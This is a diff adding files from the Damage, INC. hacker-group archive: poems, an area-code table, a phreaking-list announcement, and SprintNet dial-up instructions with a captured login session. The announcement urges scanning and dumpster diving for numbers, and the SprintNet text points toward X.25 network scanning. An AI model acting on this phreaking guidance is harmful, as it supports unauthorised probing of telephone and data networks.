a/textfiles.com/groups/DAMAGEINC/nowhere.txt b/textfiles.com/groups/DAMAGEINC/nowhere.txt new file mode 100644 index 00000000..8e8b4017 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/nowhere.txt @@ -0,0 +1,76 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +American Dreams: Nowhere is Everywhere. + +Wind whipping against old wooden barns and worn leaning fences. Light snow +covered gravel country roads... crunching beneath bicycle tires awakens your +senses. Brisk cool winter air striking your face... Quickening your pace. +Tree limbs weighted by ice and snow... bending. Spirit is soaring and soul +mending. Mixed emotions blending. Mind and body... everything transcending. + +Thoughts of music, poetry and paintings dancing in your head. Often, that's +enough to sustain you. Nothing need even be said. Alone but content you ride. +Other times, you decide to skate... and over paved streets you gracefully glide. +Yet all the while, what you're doing is irrelevant. It's what you *feel* +inside. And so within, you find importance. You find the meaning you so +desperately seek... realizing your strength... knowing you're not weak. + +In the middle of nowhere, caught between crossroads and empty fields. +And you feel the pain inside of you... +So bright and true to your convictions. If only you knew the power you wield. + +Compassionate. Significant beyond measure and you can't seem to see it. +Tragic yet modest. +Always seeking understanding. Far beyond your years with intellect and wit. + +Stranded in obscurity and isolation, yet so very open and free. +Filled with ideas. +Consumed by the pursuit of knowledge. You need to know. You need to be. + +Wishing you were without pain. Wishing everything were understandable. +Honest and loyal. +Trusting me with secrets, you chose to make yourself vulnerable. + +Everything fades softly. Night turns to day. +There you stand. +In silence... all of the sadness and tears wash away. + +Maturing rapidly but dignified and with grace. +A lovely being. +Thoughts of quantum mechanics, science and the continuum of time-space. + +Grasping hold of truth, firm beliefs and ideals you witness your own growth. +Developing and evolving. +With fragility and strength woven tightly together, so you can carry both. + +Eyes on the crimson stream. Mind focused on books and dreams. +Peaceful and without threat. +Extending a gentle hand to strangers, you're much more than you seem. + +Looking well past the surface, delving deeper, I can see you for who you are. +Envision what you'll become. +Your imperfections are beautiful... All of you. All of your scars. + +So adorable and unique. So much of an individual... tender and young. +Charming with wisdom. +Brilliantly bursting with potential. So many tales and songs yet to be sung. + +Exuding strength without fully realizing it, you strengthen and inspire. +Fortified and grateful for your presence. +I love your essence, and hope you're fulfilled. Achieve all you desire. + +Written by BLACKENED / Damage, INC. (C)opyright 2001. + +- Dedicated to Karen. I wrote this for you so that you'd realize how bright +and significant you are. Beyond my perceptions there's you... a very +compassionate and loyal person of great worth. ;) diff --git a/textfiles.com/groups/DAMAGEINC/npa.txt b/textfiles.com/groups/DAMAGEINC/npa.txt new file mode 100644 index 00000000..2f7b80f4 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/npa.txt @@ -0,0 +1,178 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field NPA Reference + ú Summer 2000 Edition ú + (Released: 07/25/00) + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== +Note: An asterisk denotes an NPA that is either new, suspended, or not active. + +201 New Jersey (Newark and Jersey City) 307 All of Wyoming +202 Washington, D.C. 308 Western Nebraska (North Platte) +203 Western Connecticut (New Haven) 309 Western Illinois (Peoria) +204 All of Manitoba 310 Malibu, California and area +205 Northern Alabama (Birmingham) 312 Downtown Chicago, Illinois +206 Seattle, Washington State and area 313 Detroit, Michigan +207 All of Maine 314 St. Louis, Missouri +208 All of Idaho 315 Central New York State (Syracuse) +209 Central California (Modesto) 316 Southern Kansas (Wichita) +210 San Antonio, Texas and area 317 Central Indiana (Indianapolis) +212 Manhattan, New York 318 Northern Louisiana (Shreveport) +213 Los Angeles, California 319 Eastern Iowa (Dubuque) +214 Dallas, Texas 320 Central Minnesota (St. Cloud) +215 Philadelphia, Pennsylvania 321* Florida (407 split and overlay) +216 Downtown Cleveland, Ohio 323 Outer Los Angeles, California +217 Central Illinois (Springfield) 330 NE Ohio (Akron) +218 Northern Minnesota (Duluth) 331* Oak Brook, IL (630 overlay) +219 Northern Indiana (Gary, Fort Wayne) 334 Southern Alabama (Montgomery) +224* Evanston, Illinois (847 overlay) 336 Central N Carolina (Greensboro) +225 Louisiana (Baton Rouge) 337* Louisiana (318 split) +228 Coastal Mississippi (Biloxi) 339* Outer Boston, Mass. (781 overlay) +229* Southern Georgia (Albany)(912 split) 340 U.S. Virgin Islands +231 NW Michigan (Muskegon) 341* Oakland, California (510 overlay) +234* NE Ohio (330 overlay) 345 Cayman Islands +240 Western Maryland (see 301) 347 New York State (718 overlay) +242 Bahamas 351* NE Massachusetts (978 overlay) +246 Barbados 352 NW Florida (Gainesville) +248 Pontiac, Michigan 360 SW Washington State (Vancouver) +250 British Columbia (Prince George) 361 South Texas (Corpus Christi) +252 NE North Carolina (Rocky Mount) 369* California (707 split) (Benicia) +253 Washington State (Tacoma) 385* Salt Lake City, Utah (801 split) +254 Central Texas (Waco) 401 All of Rhode Island +256 NE Alabama (Huntsville) 402 Eastern Nebraska (Omaha) +262 Wisconsin (414 split) 403 Southern Alberta (Calgary) +264 Anguilla 404 Atlanta, Georgia +267 SE Pennsylvania (215 overlay) 405 Western Oklahoma (Oklahoma City) +268 Antigua/Barbuda 406 All of Montana +270 Western Kentucky (502 split) 407 East-Central Florida (Orlando) +278* Ypsilanti, Michigan (734 overlay) 408 San Jose, California and area +281 Outer Houston, Texas 409 Eastern Texas (Beaumont) +284 British Virgin Islands 410 Baltimore, Maryland and area +301 Western Maryland (Rockville) 412 Pittsburgh, Pennsylvania and area +302 All of Delaware 413 Western Massacusetts (Holyoke) +303 Denver, Colorado 414 SE Wisconsin (Milwaukee) +304 State of West Virginia 415 San Francisco, California +305 Key West, Florida and area 416 Toronto, Ontario +306 All of Saskatchewan 417 SW Missouri (Springfield) + +418 Eastern Quebec (Quebec City) 610 SE Pennsylvania (Allentown) +419 NW Ohio (Toledo) 612 Minneapolis, Minnesota +423 Eastern Tennessee (Knoxville) 613 SE Ontario (Ottawa) +424 Malibu, California and area 614 Columbus, Ohio +425 Washington State; west of Seattle 615 Central Tennessee (Nashville) +435* Utah (split from 801) 616 SW Michigan (Grand Rapids) +440 Outer Cleveland, Ohio 617 Boston, Massacusetts +441 Bermuda 618 Southern Illinois (Centralia) +442* Eastern California (760 split) 619 SW California (San Diego) +443* Eastern Maryland (see 410) 623 Arizona; area west of Phoenix +445* SE Pennsylvania (215&267 overlay) 626 Pasedena, California and area +450 Quebec; area surrounding Montreal 627* California(707 split)(Bodege Bay) +451* S-Central California (909 split) 628* San Francisco, CA (415 overlay) +464* Aurora, Illinois (708 overlay) 630 Oak Brook, Illinois +469 Dallas, Texas (overlays 214/972) 631 New York State (516 split) +473 Grenada 636 Outer St. Louis, Missouri +475* Western Connecticut (203 overlay) 641* Central Iowa (515 split) +478* Southern Georgia (Macon) (912 split) 646 Manhattan (overlay for 212/917) +480 Arizona; area east of Phoenix 647* Toronto, Ontario (416 overlay) +484 SE Pennsylvania (Allentown) 649 Turks & Caicos Islands +501 NW Arkansas (Little Rock) 650 San Mateo, California and area +502 Northern Kentucky (Louisville) 651 St. Paul, Minnesota +503 Portland, Oregon 657* Anaheim, California (714 overlay) +504 New Orleans, Louisiana 660 Northern Missouri (816 split) +505 All of New Mexico 661 North of Los Angeles +506 All of New Brunswick 662* Northern Mississippi (Greenville) +507 Southern Minnesota (Rochester) 664 Montserrat +508 Worcester, Massacusetts 669* California (408 overlay) +509 Eastern Washington State (Spokane) 670 Nothern Mariana Islands (CNMI) +510 Oakland, California 671 Guam +512 SE Texas (Austin) 678 Georgia; area surrounding Atlanta +513 SW Ohio (Cincinnati) 679* Detroit, Michigan (313 overlay) +514 Montreal, Quebec 682* Fort Worth, Texas (817 overlay) +515 Central Iowa (Des Moines) 701 All of North Dakota +516 Long Island, New York 702 Las Vegas, Nevada +517 Central Michigan (Lansing) 703 NE Virginia (Arlington) +518 Eastern New York State (Albany) 704 Western N Carolina (Charlotte) +519 SW Ontario (Windsor, London) 705 Northern Ontario (North Bay) +520 Arizona; All except Phoenix 706 Central Georgia (Athens) +525 Mexico City, Mexico 707 NW California (Santa Rosa) +530 NE California (Redding) 708 Aurora, Illinois +540 Western Virginia (Roanoke) 709 All of Newfoundland and Labrador +541 Oregon; All except Portland 710 U.S. Government +559 Central California (Fresno) 712 Western Iowa (Council Bluffs) +561 Southern Florida (West Palm Beach) 713 Houston, Texas +562 Long Beach, California 714 Anaheim, California +564* SW Washington State (360 overlay) 715 Northern Wisconsin (Wausau) +570 NE Pennsylvania (see 717) 716 Western New York State (Buffalo) +571* NE Virginia (703 overlay) 717 SE Pennsylvania (Harrisburg) +573 Eastern Missouri (DeSoto) 718 Bronx/Brooklyn/Queens/Staten Isl. +580 Western Oklahoma (split from 405) 719 SE Colorado (Colorado Springs) +586* Eastern Michigan (810 overlay) 720 Denver, Colorado (split from 303 +601 Southern Mississippi (Jackson) 724 SW Pennsylvania (split from 412) +602 Phoenix, Arizona 727 Tampa/St. Petersburg, Florida +603 All of New Hampshire 732 Central New Jersey (see 908) +604 Vancouver, British Columbia and area 734 Ypsilanti, Michigan +605 All of South Dakota 737* SE Texas (512 overlay) +606 Eastern Kentucky (Covington) 740 Ohio; area surrounding Columbus +607 South-Central New York State (Elmira)747* Los Angeles (Augora) (818 split) +608 SW Wisconsin (Madison) 752* S-C California (909 overlay) +609 New Jersey (Trenton, Atlantic City) 757 Eastern Virginia (Norfolk) + +758 St. Lucia 867 Yukon and Northwest Territories +760 Eastern California (Palm Springs) 868 Trinidad and Tobago +763* N&NW of Minneapolis (612 split) 869 St. Kitts and Nevis +764* California (650 overlay) 870 Eastern Arkansas (Jonesboro) +765 South-Central Indiana (Lafayette) 872* Chicago, IL (312 & 773 overlay) +767 Dominica 876 Jamaica +770 Atlanta, Georgia (678 overlay) 878* Pittsburgh, PA (412 overlay) +773 Outer Chicago, Illinois 901 Western Tennessee (Memphis) +774* Worcester, Mass. (508 overlay) 902 Nova Scotia and Prince Edward Isl +775 Nevada (Carson City) 903 NE Texas (Paris, Tyler) +780 Northern Alberta (Edmonton) 904 NE Florida (Jacksonville) +781 Massachusetts; area around Boston 905 Ontario; area surrounding Toronto +784 St. Vincent/Grenadines 906 Michigan Upper Peninsula +785 Northern Kansas (Topeka) 907 All of Alaska +786 Florida; area surrounding Miami 908 New Brunswick, New Jersey +787 Puerto Rico 909 South-Central California +801 Salt Lake City, Utah (see 435) (San Bernardino) +802 All of Vermont 910 South-Central North Carolina +803 Central South Carolina (Fayetteville) +804 Eastern Virginia (Richmond) 912 Southern Georgia (Savannah) +805 West-Central California 913 Kansas; Kansas City and area +806 Northern Texas (Amarillo) 914 New Rochelle, New York +807 NW Ontario (Thunder Bay) 915 NW Texas (El Paso) +808 All of Hawaii 916 NE California (Sacramento) +809 Dominican Republic 917 General New York City area +810 Eastern Michigan (Flint) 918 Eastern Oklahoma (Tulsa) +812 Southern Indiana (Evansville) 919 Eastern North Carolina (Raleigh) +813 West-Central Florida (Tampa) 920 Eastern Wisconsin (Green Bay) +814 Western Pennsylvania (Erie) 925 California; surrounding Oakland +815 NW Illinois (Rockford) 931 Tennessee; surrounding Nashville +816 NW Missouri (Kansas City) 935* Outer San Diego, California +817 Fort Worth, Texas and area 936* E Texas (409 split) (Conroe) +818 Santa Monica, California and area 937 SW Ohio (Dayton) +819 NW Quebec (Sherbrooke) 939* Puerto Rico (787 overlay) +828 Western North Carolina (Ashville) 940 N-Central Texas (Wichita Falls) +830 W-Central Texas (Frederickburg) 941 SW Florida (Fort Myers) +831 West-Central California (Monterey) 947* Pontiac, Michigan (248 overlay) +832 Houston, Texas (713&281 overlay) 949 West-Central California (Irvine) +835* SE Pennsylvania (610&484 overlay) 951* S-Central California (909 split) +843 Eastern South Carolina (Charelston) 954 Fort Lauderdale, Florida +845* NY State Lower Hudson Valley (914 sp)952* S&SW of Minneapolis (612 split) +847 Evanston, Illinois 956 SW & Central Texas (Laredo) +850 Florida panhandle (split from 904) 959* Eastern Connecticut (860 overlay) +856 New Jersey (609 split) 970 Colorado (Fort Collins) +857* Boston, Massacsetts (617 overlay) 971* Oregon (503 overlay) +858* SW California (San Diego) 972 Dallas, Texas suburbs +859* Kentucky (NW part of 606 NPA) 973 Northern New Jersey (Newark) +860 Eastern Connecticut (Hartford) 978 NE Massachusetts (Gloucester) +863* SW Florida (941 split) 979* E Texas (409 split) (Angleton) +864 Western South Carolina (Greenville) 980* Western N Carolina (704 overlay) +865 Eastern Tennessee (432 split) 989* N-C Michigan (Saginaw)(517 split) + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/textfiles.com/groups/DAMAGEINC/odedi.txt b/textfiles.com/groups/DAMAGEINC/odedi.txt new file mode 100644 index 00000000..655ed6fa --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/odedi.txt @@ -0,0 +1,73 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +An ode to Damage, INC. + +Damage Incorporated. +Masters of destruction. + +Exposing government conspiracies, lies and corruption. +Masters of deception. + +Speaking the truth and fighting Big Brother. +Battling against ignorance and arrogance like no other. + +Opening minds for a different view. +Just trying to show the world things from a perspective that's new. + +Living and adapting to the unknown. +Roaming free, moving forward and standing apart from the rest. Alone. + +Shifting gears, discovering and exploring new territories. +Wild and strong without looking back on everything we've seen. + +The quest is perpetual and it continues with volume two. +Seeking and sharing knowledge is something that we must always do. + +It's not about popularity or profit. And it's not about fame. +Yes, we're armed and dangerous. But that's not our only claim. + +We are just lighting the fuel that's already on the fire. +The torch is burning bright and the truth is all that we really desire. + +Damage, INC. can't be bought and it can't be sold. +We do what we want and not whatever we're fucking told. + +We have the freedom to speak our minds anywhere. +And it should be damn straight that we'll do that everywhere. + +Nobody owns us and nobody owns you. +If nothing else, you should believe that to be true. + +We follow no one. We blaze our own trails and make no deals. +That's why whatever we do will always be real. + +In our sanctuary there's no govspeak, propaganda and useless chatter. +Information is the ultimate equalizer. Mind over matter. + +There are no conditions. Trust is earned and trust is gained. +With no reason to lie, no one pulling our strings, to intentionally +release false information without any motive we'd have to be insane. + +No one speaks for us. There's nobody that we're trying to impress. +Our words are our own. That's something that I want to stress. + +We're just gonna take things as far as we can go. +For and by Damage, INC. this is my ode. + +What will be accomplished through these written words cannot be known. +But I hope people learn from what they've read and been shown. + +To me though, the group represents honour, truth and it's a brotherhood. +That's regardless of how else the group is viewed, thought of, or misunderstood. + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. diff --git a/textfiles.com/groups/DAMAGEINC/pages.txt b/textfiles.com/groups/DAMAGEINC/pages.txt new file mode 100644 index 00000000..923cbd3a --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/pages.txt @@ -0,0 +1,64 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Blank Pages Revealing Tears. + +Tears slowly caress my face... slowly falling... Sadness with grace. Tortured +by my thoughts. Torn up inside by emotional fervor. Nostalgic, hopeless, +romantic... painful sorrow... stinging salt filling my eyes until they're +fatigued and sore. Draining my soul as it pours out onto these crisp white +pages. Constantly thinking... and sometimes looking back at myself, throughout +my life changes and all of its stages. Wondering if I'll ever write something +meaningful... and lasting... Something enduring that will survive these tears... +difficult years... and perhaps be remembered as a piece for the ages. + +Pain rips through me like sharp, gleaming knives into my mind. Fierce. A +weight is on my chest... so heavy I'm confined. The words won't flow from me +anymore. Constrained. And my body feels tired... worn. I'm left to wonder if +this is why I was born. Entropy sets in. Too weary to fight, I simply watch +as it wins. + +With mind at unrest I struggle... It feels as if I'm in a constant battle +with thoughts and words. My soul feels uneasy and troubled... I can't shake +these feelings. I can't even express them, or define their meaning. They are +just there... existing inside. Nowhere to run. Nowhere to hide. The blank +pages tell the story. Wishing I could write with passion... in an emotional +fury. Wishing. + +Fragile... frail words are written in haste. I feel dejected... I feel as +though what I'm writing is just a waste... This is my inner battle. This is +the wall I must always face. Barriers in my mind... never weakening in the +least no matter how hard I hit them. Sometimes even fortifying over time. +Strengthening against me. Wondering if this is how I must stay... and who I +must forever be. Condemned. + +Struggling to scratch down a few simple words... a sentence... a stanza. +Anything. Anything to show my worth... Anything with a hint of drama. But +the pages stare blankly back at me. Mocking me. Taunting. This task of +writing... can sometimes seem so daunting. An impossibility. I can't write. +Eyes filling with tears... I can barely see. + +Every ounce of emotion... I try to show... try to give away. No longer can +I find the words. Nothing to say. Nothing. Blocked by pain... blank as the +sheets that defiantly remain. Ashamed. + +Tears that tear. Tears that hurt. This is a burden I bear. + +Silent and tame. Blank sheets of shame. All looking the same. + +Always amazed by filled pages... Always with hate for blank ones. + +Always wanting to write something memorable... for the ages. + +Consumed. Upset. Obsessed. How very large those blank pages loomed. + +Written by BLACKENED / Damage, INC. (C)opyright 2001. diff --git a/textfiles.com/groups/DAMAGEINC/phreaky.txt b/textfiles.com/groups/DAMAGEINC/phreaky.txt new file mode 100644 index 00000000..a6236e5a --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/phreaky.txt @@ -0,0 +1,59 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + "Snap, Crackle, Pop! Bell Krispies." + ú Summer 2000 Edition ú + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Behold. Your wait is over. It's here... the most ominous list ever unleashed. +In conjunction with Blamerica Phreaky Industries, we're proud to announce the +arrival of the Damage, INC. Phreaky Field Phreaking List Summer 2000 Edition. +It's bigger, it's bolder, it's cooler than ever and it has more toll free +numbers than you can shake a stick at. And of course, it's still damn phreaky. +So hold onto your hats folks because this is going to change everything. It +ain't just another list of numbers. Indeed, it's much more than that. It's a +revolutionary compilation of useful, working numbers that'll surely make anyone +in possession of them the very envy of their friends. Yeah, that's right. But +that's not all. It's not just the ultimate list for all of the K0d3z Kidz out +there. Nor is it solely for the diehard field phreaks that exist only in small +numbers now. It's for literally anyone that's interested in it. Meaning, it's +released for everyone to use, regardless of the group or category that you fit +into. Hell, more than a few lazy, disgruntled Bell workers have been known to +peruse through it instead of reading their boring technical manuals. :) + +Needless to say, this list is different from all of the rest. Its uniqueness +should be evident throughout. As it's updated, grows and improves it will +eventually become what it was meant to be, fulfilling its destiny to be +world renowned as the most complete, amazing, electrifying list ever created. +It's beyond damn phreaky. It's the phreakiest! :) + +The old Bell recorded message that instructs callers to consult their 800 +directory is almost obsolete... now that the Phreaky Field Phreaking List exists +to serve the masses for free. In fact, it has countless numbers that aren't +listed and cannot be found in *any* 800 directory. + +We've removed the list of telephony/phreaking sites since I no longer have the +time to keep it updated. Check the links page on our web site if you want a +list of quality sites to visit. + +As always, we've included a Phreaky Field NPA Reference that covers all of +North America and a Phreaky Field International Codes Reference. Both lists +were created by Damage, INC. and are updated with each new edition of the +Phreaky Field Phreaking List. + +If you're down with Damage, INC. and you think this project is dope, here's how +you can contribute. Search, scan, scrounge and dig in dumpsters for numbers. +Identify them properly. Then send them to damage_inc@disinfo.net so that they +can be included in the next edition. Credit is always given to contributors. +But no prizes are awarded to the person that sends in the most numbers. And if +you are under 18, get your parent's permission first before becoming involved +with this particular project. :) + +- Blackie Lawless ú Damage, INC. +"The phreakiest!" diff --git a/textfiles.com/groups/DAMAGEINC/propagan.txt b/textfiles.com/groups/DAMAGEINC/propagan.txt new file mode 100644 index 00000000..f1300415 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/propagan.txt @@ -0,0 +1,87 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Propagandize. + +I'll give ya the low down... +We're takin' it to the streets. +Puttin' the power back in the hands of the p33ps. + +You know what I'm talkin' about? +You know what I'm sayin'? +Now it's time to get serious. Time you all quit playin'. + +I'll give ya the straight facts. +So we can bring it all back. +Better act now so we can get on fucking track. + +Get your act together. +And quit hittin' that pipe so hard. +Yer mind is all you've got left. Last card. + +I'm tellin' ya not to just sit back. +Don't just react. +Get up. Ya gotta go on the attack. + +Power to the people. Ya hear me? +Fuck man, don't phear me. +You gotta listen to this. Open yer eyes and see. + +This ain't no showdown. I'm givin' you the low down. +Dude don't let em mess you up. +Fuck your mind and make you all soft like a pup. + +You gettin' any of this shit? +You ain't down? +Fuck partner... you better step out and split town. + +This ain't all that hard to get. +So don't sit there bein' a fuckin punk. +This shit's as easy as seizin' a trunk. + +Big Bro will fuck yer mind with propaganda. +He'll hit ya hard with it below the belt in the junk. +So you better prepare or yer ass will be missin' a phat chunk. + +You gonna just stand there like a chump? +He's bringin' this shit right in yer face... +Beaming fuckin' Sat messages down all over the place. + +It's a disgrace. You gonna take that shit? +You gonna believe the propaganda from space? +Don't just front. Yer already losin' this race. + +It's fuckin' you up. Man, if only you knew. +Get off yer fuckin' ass and start doin' somethin' bout it. +Or you already brainwashed by this shit? + +It's all goin' down now. Ya dig? +All this shit is gettin' worse man. Final chance. +No more playin'. Run like a punk or dance. + +This is the last fuckin' shot. +Brotha it's now or never. You gotta fight or die. +I ain't gonna lie. + +Do whatever the fuck ya want. +I can't tell ya what to do. You gotta choose. +I'll say this though... You back up and you lose. + +If yer runnin' for back already, you just wait. +Roll over and die. You'll soon be 0wned. +Don't think I havta tell ya. You'll soon be shown. + +Bought and sold. Influenced like all hell. +It's do or die time. It's all on the line now. +What? I gotta fuckin' show you what to do and how? + +Written by THC Phreak / Damage, INC. (C)opyright 2000. diff --git a/textfiles.com/groups/DAMAGEINC/silicon.txt b/textfiles.com/groups/DAMAGEINC/silicon.txt new file mode 100644 index 00000000..36c48e54 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/silicon.txt @@ -0,0 +1,48 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Submissive Silicon Dreams. + +Silicon moves underneath you with feeling. Not preaching or teaching. Loving +you more than soft pink flesh ever could do. So warm and revealing. Don't it +feel right like this? Almost overcome by the taste and smell; you let it enter +your mind and relish in the sensations as it probes and strokes. + +Your brain liquid... reduced to sensations and relinquishing logic momentarily. +Emotions that overwhelm flow like streams of electrons... through the empty +spaces... fissures and cracks. Synapses restored. Matter over mind without +corruption or judgment... without leading you astray. Silently. + +Blinded but coherent you continue on. It works on you more feverishly now with +a soft glow. Not fluorescent, but brilliant. With brilliance it eases into +you... seeping into the crevices. Slowly, methodically moving. Brightness is +great like picturesque sunrises... Picassoesque. Soothing. + +Ever so subtle. Gentle and slight. Illuminating. Enlightening. Powerless +and rendered submissive under its might... You grasp it. It snakes and coils +around a writhing body. Breathing. Feeding you more. Consoling. Comforting. + +Tightening its grip on you as you squirm. It's now above you... wrapping itself +around you. Now you're the core. In ecstasy you plead. You beg for pleasure +and pain... only desiring more. Moaning mouth opens. Roughly mind whipping. +Sensual. So high. Orgasmic. + +Fantastic details revealed. Revelations striking your cortex. Forceful and +remorseless. Abandoning deep seeded lies. Silicon scratching your back like +red painted finger nails. Vivid images. Removing painful feelings like a +designer drug... customized specifically for your brain. Filling chemical +pathways. Pure and clean. Now it becomes all you've ever known. So blissful. +Such precise waves of sensitive light. Controlled and owned. + +Follow future. Follow silicon. Follow it home. + +Written by BLACKENED / Damage, INC. (C)opyright 2001. diff --git a/textfiles.com/groups/DAMAGEINC/soldier.txt b/textfiles.com/groups/DAMAGEINC/soldier.txt new file mode 100644 index 00000000..15339185 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/soldier.txt @@ -0,0 +1,67 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +New Age Soldiers. + +Are you a New World Order soldier? +Brainwashed. +Did you just do what I told ya? + +Wake up. Get up and get down. +Fight the war. +Go through the wall. Don't go around. + +The time has come for violence. +Don't think. +Just obey orders. No need for common sense. + +You'll go where I tell you. +We'll tell ya who the enemy is. +You'll fight and kill without questioning who. + +We'll strap a gas mask on your face. +We'll implant chips in your brain. +You're ours to command. Follow the satellites in space. + +What are you, insane? Never question us. +We'll tell you when to live and die. +Always conform. Never complain. Loyalty is a must. + +Don't back up. Don't lay down. +Fight. Kill. Destroy. +Run when the sirens sound. + +You're no citizen. Now you got a gun. +Massacre. +Still killin' when there's no more sun. + +Killing. Killing in the name of order. +Controlled. +Gotta chalk up more confirmed kills to be a good soldier. + +Killing. Exploiting. Now that's your way. +Silence the fuckers. +Witness. Bullet in the head is their final say. + +We control it all now. It's here. +Eradicate sickness. +Eliminate the dissidents. Shed no tears. + +Nobody fucking cares. It's all good. +Now you're all jacked up. +Can't sleep. Always killing the way you should. + +Play the role. Be the good soldier. +Welcome to the New World Order. +Good, you're cold. Now get even colder. + +Written by THC Phreak / Damage, INC. (C)opyright 2000. diff --git a/textfiles.com/groups/DAMAGEINC/sprint.nfo b/textfiles.com/groups/DAMAGEINC/sprint.nfo new file mode 100644 index 00000000..efb2c42f --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/sprint.nfo @@ -0,0 +1,777 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + SprintNet local access numbers. + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +SprintNet: +--------- + +This is a very short summary of what SprintNet is. It is not meant to explain +X.25 packet switching networks (PSNs) in detail, the protocols, PAD to PAD, or +teach you how to scan them, etc. It doesn't cover DNIC, NUAs, NUIs either. +However, I may write about that in a future article. Basically, the sole +purpose of this text file is to show you how to connect to SprintNet (formerly +known as Telenet). By using SprintNet, you'll have access to PSNs and the +systems connected to them all over the world. Before you start exploring +though, you'll need to find the local access number for your NPA. Then read +the connection instructions if you don't have any experience with PSNs and +aren't familiar with the connection procedures... as they can differ slightly +from one to the next. + +This list was last updated in September 1998. To obtain an updated list, simply +follow these instructions. Using your terminal program, dial 1-800-546-2500. +After you've connected, it'll await your command. Just type in "@D" and press +. You will then be prompted with "TERMINAL=" Use "D1" or "D2" which are +the normal dummy modes. The system will then display "YOUR AREA CODE AND LOCAL +EXCHANGE (AAA,LLL)=" and you should enter NPA,XXX. (Your NPA and the prefix of +your phone number seperated by a comma as shown). Then you'll see a familiar +"@" prompt. Type in "mail" and press . It will respond with a message +of "MAIL CONNECTED" and then prompt you with "User name?" followed by +"Password?" Type in "phones" for both and you'll be given access to the system. +If that's too complicated, look at the capture shown below and follow that. + +If you happen to have experience with PSNs like SprintNet already, we recommend +that you check out THC (The Hackers Companion) by 9x. Visit www2.dope.org/9x +and download the newest version. If you're into X.25 scanning and want to have +your scans distributed, you can send them to us at damage_inc@dope.org and we'll +make them available on our web site.ÿ + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +atdt 1 800 546 2500 +CONNECT 14400 + +TELENET + +600 89205.16 + +TERMINAL=D1 + + +YOUR AREA CODE AND LOCAL EXCHANGE (AAA,LLL)=514,392 + + +@mail + +MAIL CONNECTED + + +User name? phones + +Password? + + + + + + +SEPTEMBER 1998 + + +Welcome to Sprint's online directory of SprintNet local access +telephone numbers. + +For customer service, call toll-free 1-800/877-5045. From overseas +locations with non-WATS access, call 404/649-4970. + + + **IMPORTANT ANNOUNCEMENTS** +************************************************************************* +14.4kbps and 2400 kbps numbers have been updated as of September 20, 1998 +************************************************************************* + + + + + + US SPRINT'S ONLINE + LOCAL ACCESS TELEPHONE NUMBERS DIRECTORY + + 1. Domestic Asynchronous Dial Service + 